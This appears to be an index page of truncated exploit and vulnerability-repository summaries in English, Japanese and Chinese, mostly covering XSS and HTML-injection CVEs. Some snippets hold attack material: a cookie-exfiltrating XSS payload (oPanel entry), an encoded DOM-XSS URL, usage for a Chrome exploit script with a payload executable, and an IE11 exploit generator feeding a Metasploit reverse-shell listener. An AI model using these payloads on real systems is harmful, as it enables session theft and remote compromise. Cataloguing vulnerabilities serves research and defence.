Jenkins build-metrics 1.3 - Cross-Site Scripting

Jenkins build-metrics 1.3 is vulnerable to a reflected cross-site scripting vulnerability that allows attackers to inject arbitrary HTML and JavaScript into the web pages the plugin provides. id: CVE-2019-10475 info: name: Jenkins build-metrics 1.3 - Cross-Site Scripting author: madrobot severity...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Html-Injection

CVE-2021-46079 エクスプロイトタイトル: Vehicle Service Management System - 「複数の」ファイルアップロードによりHTMLインジェクションが発生 エクスプロイト作成者: SANU P.L CVE: CVE-2021-46079 CVSS: 7.2 高 参考情報: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection...

CVE-2026-105086: Improper Neutralization of Input During Web Page Generation

WWBN AVideo 12.4 through 29.2.0 contains a stored cross-site scripting vulnerability that allows authenticated uploaders to inject HTML by submitting doubly-encoded entities in video titles. Because safeString strips tags before decoding entities and runs twice via setTitle and save, attackers ca...

PT-2026-104641

WWBN AVideo 12.4 through 29.2.0 contains a stored cross-site scripting vulnerability that allows authenticated uploaders to inject HTML by submitting doubly-encoded entities in video titles. Because safeString strips tags before decoding entities and runs twice via setTitle and save, attackers ca...

CVE-2026-11645

CVE-2026-11645 - Google ChromeのV8におけるリモートコード実行脆弱性 簡単な使い方 python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe 悪用に関する注意点 重要度: HIGH CVSS: 8.8 影響: 機密性、完全性、可用性 公開日: 2026-06-09 技術概要 Google Chrome...

CVE-2020-11022-CVE-2020-11023

CVE-2020-11022 和 CVE-2020-11023 在 jQuery 版本大于等于 1.2 且小于 3.5.0 时，将来自不可信来源的 HTML（即使经过清理）传递给 jQuery 的 DOM 操作方法（如 .html、.append 等）可能会执行不可信代码。此问题已在 jQuery 3.5.0 中修复。 在 jQuery 版本大于等于 1.0.3 且小于 3.5.0 时，将包含 元素的 HTML 从不可信来源（即使经过清理）传递给 jQuery 的 DOM 操作方法（如 .html、.append 等）可能会执行不可信代码。此问题已在 jQuery 3.5.0 中修复。...

TYPO3-HTML-Sanitizer-XSS-CVE-2023-47125

TYPO3 HTML Sanitizer における保存型XSS（エクスプロイト）（CVE-2023-47125） 説明 DOM処理命令が正しく処理されません。これにより、typo3/html-sanitizer のクロスサイトスクリプティングメカニズムをバイパスすることが可能になります。 影響を受けるバージョン = 1.0.0, = 2.0.0,...

CVE-2026-64638

CVE-2026-64638 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、次のような安全かつ許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

viber-desktop-html-injection

Viber Desktop — HTML インジェクション CVE-2025-55996 CVE: CVE-2025-55996 発見者: Thaw Khant Cycbake 製品: Viber Desktop 影響を受けるバージョン: Viber Desktop 25.6.0 およびそれ以前の可能性あり 概要 Viber Desktop のディープリンクハンドラー viber://forward?text= は、メッセージ作成/転送インターフェース内で text パラメーターに指定された未サニタイズの HTML...

CVE-2024-30956

CVE-2024-30956 参照: https://www.lauyan.com/en/toweb-updates.htmliyFEw37D DOMベースのXSS TOWeb バージョン 5 例: http://127.0.0.1:8000/message.html?==gC+QHcpJ3Yz9CPpcyUThFIkV2chJWLN9ERngCdyVGbh5DdwlmcjNHP URL にアクセスすると、JS コードが実行されます。 補足: src には関連する HTML/JS コードのコピーが含まれています。TOWeb...

CVE-2026-100381

CVE-2026-100381: Flickr のコレクションおよびセットのタイトルにおける DOM XSS 報告者: Marco Paciaroni BomboBombone。 UploadWizard は Flickr のコレクションおよびセットのタイトルを、文字列を HTML として解釈する API を通じて挿入していました。そのため、外部のタイトルメタデータがウィキページ内で実行可能なマークアップになり得ました。 影響を受けるバージョン CVE レコードは、1.46.1、1.45.5、および 1.43.10 での修正前の、影響を受ける UploadWizard...

Instatic-Stored-XSS-CVE-2026-103931

isSafeUrl における先頭 C0 制御文字を介した URL スキームフィルターバイパス 影響対象: Instatic v0.0.13 / コミット 63ad5d6（および src/core/html-sanitize/index.ts を含むそれ以前のすべてのリビジョン） コンポーネント: src/core/html-sanitize/index.ts → isSafeUrl / safeUrl 分類: CWE-79（格納型 XSS）、原因は CWE-184（不許可入力リストの不完全性） 概要 isSafeUrl は、パブリッシャー全体にわたって...

CVE-2025-26633

CVE-2025-26633 - MSC EvilTwin PoC Microsoft Management Console MMC を悪用する CVE-2025-26633 脆弱性の概念実証 PoC 概要 この PoC は、Trend Micro によって発見された CVE-2025-26633 脆弱性をシミュレートしたものです。この脆弱性は、悪意のある .msc ファイルの読み込みを悪用し、MMC コンテキスト内で HTML と ActiveX を介したリモートコマンド実行を可能にします。 注意 この PoC は教育目的 であり、管理され認可された環境でのみ 実行する必要があります。...

decode-spam-headers

decode-spam-headers.py 日々の管理業務で特定のメールが SPAM/迷惑メールに振り分けられた理由を理解したい場合でも、Red-Team のフィッシングシミュレーションの目的であっても、このスクリプトは役立ちます! このアイデアは、MS Defender for Office365 を備えた商用 MS Office365 E5 環境を対象に、商用フィッシングシミュレーション演習を実施した際に生まれました。想像がつくと思いますが、フィッシングシミュレーションの観点から見ると、かなり強固なセキュリティスタックです。 手作業でこれらすべての Office365 SMTP...

CVE-2026-50980

CVE-2026-50980: DNSベースのクロスサイトスクリプティング XSS および oPanel におけるセッションハイジャック 概要 CVE ID: CVE-2026-50980 製品: oPanel 影響を受けるバージョン: new Image.src='http://:/log?cookie='+document.cookie;...

CheckFlashPlayerVersion

CheckFlashPlayerVersion ブラウザの Flash Player バージョンを確認し、CVE-2016-7855 の脆弱性に対して脆弱かどうかをチェックします 使用方法: このリポジトリをクローンし、Flash Player のバージョンを確認したいブラウザで HTML ファイルを開いてください。...

CVE-2025-55780

CVE-2025-55780 MuPDF 1.26.4 EPUBレンダリング関数におけるヌルポインタ間接参照 CVE参照 - CVE-2025-55780 影響を受けるバージョン : 1.26.7 およびそれ以前 発見およびテスト環境 : 1.26.4 深刻度 CVSSv3 スコア : 7.5 High 修正コミット : https://cgit.ghostscript.com/cgi-bin/cgit.cgi/mupdf.git/commit/?id=bdd5d241748807378a78a622388e0312332513c5 Bugzilla :...

CVE-2020-16947

CVE-2020-16947 この脆弱性は、Windows 10 1909 x64 にインストールされた Outlook 2019 16.0.13231.20262 で発生します。 TLDR; 私はこのバグを winafl ファザーを使用して発見しました。このバグは HTML コンテンツの解析時に発生します。攻撃者がこのエクスプロイトを正常に実行すると、リモートでのコマンド実行につながる可能性があります。 詳細 0:000 r rax=0000000000000000 rbx=0000021c99ce9eb0 rcx=0000021c99ce9eb0 rdx=00000046c07f8a...

CVE-2026-88783

The Kubio AI Page Builder WordPress plugin before 2.9.3 does not limit its widening of the allowed HTML elements to the editor context, so the wider set is applied when filtering content submitted by unauthenticated users as well, allowing them to store markup which the Kubio AI Page Builder...

ie11_vbscript_exploit

IE11 VBScript エクスプロイト CVE-2018-8174 & CVE-2019-0768 のエクスプロイトジェネレーター IE11 での VBScript 実行による RCE 前提条件 Metasploit msfvenom 使用方法 python ie11vbscript.py Listener IP Listener Port 手順 1. このスクリプトを使用して "exploit.html" を生成します 2. HTML ファイルをサーバーにホストします 3. Metasploit で windows/meterpreter/reversetcp...